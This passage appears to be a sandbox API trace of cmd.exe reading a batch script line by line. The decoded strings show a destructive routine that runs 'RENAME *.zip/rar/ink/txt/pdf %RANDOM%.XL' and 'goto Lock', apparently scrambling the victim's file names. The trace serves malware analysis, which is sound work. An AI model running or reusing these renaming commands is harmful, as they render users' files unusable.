dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x46a [0037.584] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":zip\r\nock\r\n") returned 6 [0037.584] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.584] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x46a [0037.584] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.584] GetFileType (hFile=0x74) returned 0x1 [0037.584] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x46a [0037.584] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.584] SetFilePointer (in: hFile=0x74, lDistanceToMove=1132, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x46c [0037.584] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nip\r\n") returned 2 [0037.584] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.584] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x46c [0037.584] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.584] GetFileType (hFile=0x74) returned 0x1 [0037.584] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x46c [0037.584] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.585] SetFilePointer (in: hFile=0x74, lDistanceToMove=1158, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x486 [0037.585] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.zip %RANDOM%.XL\r\n") returned 26 [0037.585] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.585] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x486 [0037.585] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.585] GetFileType (hFile=0x74) returned 0x1 [0037.585] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x486 [0037.585] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.585] SetFilePointer (in: hFile=0x74, lDistanceToMove=1169, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x491 [0037.585] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\np %RANDOM%.XL\r\n") returned 11 [0037.585] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.585] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x491 [0037.585] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.585] GetFileType (hFile=0x74) returned 0x1 [0037.585] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x491 [0037.585] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.585] SetFilePointer (in: hFile=0x74, lDistanceToMove=1171, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x493 [0037.586] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.586] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.586] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x493 [0037.586] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.586] GetFileType (hFile=0x74) returned 0x1 [0037.586] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x493 [0037.586] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.586] SetFilePointer (in: hFile=0x74, lDistanceToMove=1177, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x499 [0037.586] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":rar\r\nock\r\n") returned 6 [0037.586] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.586] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x499 [0037.587] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.587] GetFileType (hFile=0x74) returned 0x1 [0037.587] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x499 [0037.587] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.587] SetFilePointer (in: hFile=0x74, lDistanceToMove=1179, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x49b [0037.587] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nar\r\n") returned 2 [0037.587] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.587] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x49b [0037.587] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.587] GetFileType (hFile=0x74) returned 0x1 [0037.587] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x49b [0037.587] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.587] SetFilePointer (in: hFile=0x74, lDistanceToMove=1205, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4b5 [0037.587] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.rar %RANDOM%.XL\r\n") returned 26 [0037.587] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.588] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4b5 [0037.588] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.588] GetFileType (hFile=0x74) returned 0x1 [0037.588] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4b5 [0037.588] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.588] SetFilePointer (in: hFile=0x74, lDistanceToMove=1207, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4b7 [0037.588] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nNAME *.rar %RANDOM%.XL\r\n") returned 2 [0037.588] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.588] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4b7 [0037.588] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.588] GetFileType (hFile=0x74) returned 0x1 [0037.588] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4b7 [0037.588] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.588] SetFilePointer (in: hFile=0x74, lDistanceToMove=1218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4c2 [0037.588] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nr %RANDOM%.XL\r\n") returned 11 [0037.588] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.588] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4c2 [0037.588] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.588] GetFileType (hFile=0x74) returned 0x1 [0037.589] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4c2 [0037.589] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.589] SetFilePointer (in: hFile=0x74, lDistanceToMove=1220, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4c4 [0037.589] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.589] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.589] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4c4 [0037.589] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.589] GetFileType (hFile=0x74) returned 0x1 [0037.589] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4c4 [0037.589] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.589] SetFilePointer (in: hFile=0x74, lDistanceToMove=1226, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4ca [0037.589] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":ink\r\nock\r\n") returned 6 [0037.589] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.589] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4ca [0037.589] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.589] GetFileType (hFile=0x74) returned 0x1 [0037.589] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4ca [0037.590] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.590] SetFilePointer (in: hFile=0x74, lDistanceToMove=1228, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4cc [0037.590] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nnk\r\n") returned 2 [0037.590] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.590] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4cc [0037.590] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.590] GetFileType (hFile=0x74) returned 0x1 [0037.590] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4cc [0037.590] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.590] SetFilePointer (in: hFile=0x74, lDistanceToMove=1254, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4e6 [0037.590] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.ink %RANDOM%.XL\r\n") returned 26 [0037.590] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.590] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4e6 [0037.590] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.590] GetFileType (hFile=0x74) returned 0x1 [0037.590] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4e6 [0037.590] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.590] SetFilePointer (in: hFile=0x74, lDistanceToMove=1265, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4f1 [0037.591] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nk %RANDOM%.XL\r\n") returned 11 [0037.591] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.591] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4f1 [0037.591] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.591] GetFileType (hFile=0x74) returned 0x1 [0037.591] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4f1 [0037.591] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.591] SetFilePointer (in: hFile=0x74, lDistanceToMove=1267, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4f3 [0037.591] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.591] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.591] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4f3 [0037.591] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.591] GetFileType (hFile=0x74) returned 0x1 [0037.591] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4f3 [0037.591] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.591] SetFilePointer (in: hFile=0x74, lDistanceToMove=1273, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4f9 [0037.591] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":txt\r\nock\r\n") returned 6 [0037.591] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.592] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4f9 [0037.592] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.592] GetFileType (hFile=0x74) returned 0x1 [0037.592] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4f9 [0037.592] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.592] SetFilePointer (in: hFile=0x74, lDistanceToMove=1275, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4fb [0037.592] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nxt\r\n") returned 2 [0037.592] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.592] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4fb [0037.592] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.592] GetFileType (hFile=0x74) returned 0x1 [0037.592] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4fb [0037.592] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.592] SetFilePointer (in: hFile=0x74, lDistanceToMove=1301, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x515 [0037.592] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.txt %RANDOM%.XL\r\n") returned 26 [0037.592] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.592] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x515 [0037.592] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.593] GetFileType (hFile=0x74) returned 0x1 [0037.593] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x515 [0037.593] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.593] SetFilePointer (in: hFile=0x74, lDistanceToMove=1312, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x520 [0037.593] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nt %RANDOM%.XL\r\n") returned 11 [0037.593] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.593] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x520 [0037.593] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.593] GetFileType (hFile=0x74) returned 0x1 [0037.593] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x520 [0037.593] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.593] SetFilePointer (in: hFile=0x74, lDistanceToMove=1314, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x522 [0037.593] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.593] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.593] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x522 [0037.593] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.593] GetFileType (hFile=0x74) returned 0x1 [0037.593] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x522 [0037.594] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.594] SetFilePointer (in: hFile=0x74, lDistanceToMove=1320, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x528 [0037.594] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":pdf\r\nock\r\n") returned 6 [0037.594] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.594] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x528 [0037.594] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.594] GetFileType (hFile=0x74) returned 0x1 [0037.594] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x528 [0037.594] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.594] SetFilePointer (in: hFile=0x74, lDistanceToMove=1322, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x52a [0037.594] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\ndf\r\n") returned 2 [0037.594] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.594] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x52a [0037.594] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.594] GetFileType (hFile=0x74) returned 0x1 [0037.594] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x52a [0037.594] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.595] SetFilePointer (in: hFile=0x74, lDistanceToMove=1348, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x544 [0037.595] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.pdf 